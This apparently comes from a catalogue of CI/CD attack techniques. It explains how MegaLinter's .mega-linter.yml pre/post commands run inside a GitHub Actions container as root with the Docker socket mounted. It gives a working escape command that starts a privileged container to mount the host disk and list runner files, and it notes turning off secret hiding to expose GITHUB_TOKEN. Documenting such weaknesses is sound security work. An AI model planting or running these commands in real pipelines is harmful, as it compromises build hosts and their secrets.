github-actions config-file eval-sh


MegaLinter’s default configuration file is .mega-linter.yml and can execute additional commands before and after the linters run.

  - command: |
      echo "This is MegaLinter PRE_COMMAND on own MegaLinter ! :)"
    cwd: workspace        # runs in the repository folder
    secured_env: false    # True by default, but if defined to false, no global variable will be hidden (for example if you need GITHUB_TOKEN)

  - command: |
      echo "This is MegaLinter POST_COMMAND on own MegaLinter ! :)"
    cwd: root             # runs at the root folder

Because the MegaLinter GitHub Actions runs in a container as root and mounts the Docker daemon socket (/var/run/docker.sock) inside the container, it is trivial to escape the container. In hosted GitHub Actions runners, the device /dev/sda1 is the root filesystem and can be mounted in a privileged container to read/write files on the host.

  - command: |
      docker run --privileged alpine:latest sh -c 'mount /dev/sda1 /mnt; ls -la /mnt/home/runner/work/*/*'
    cwd: root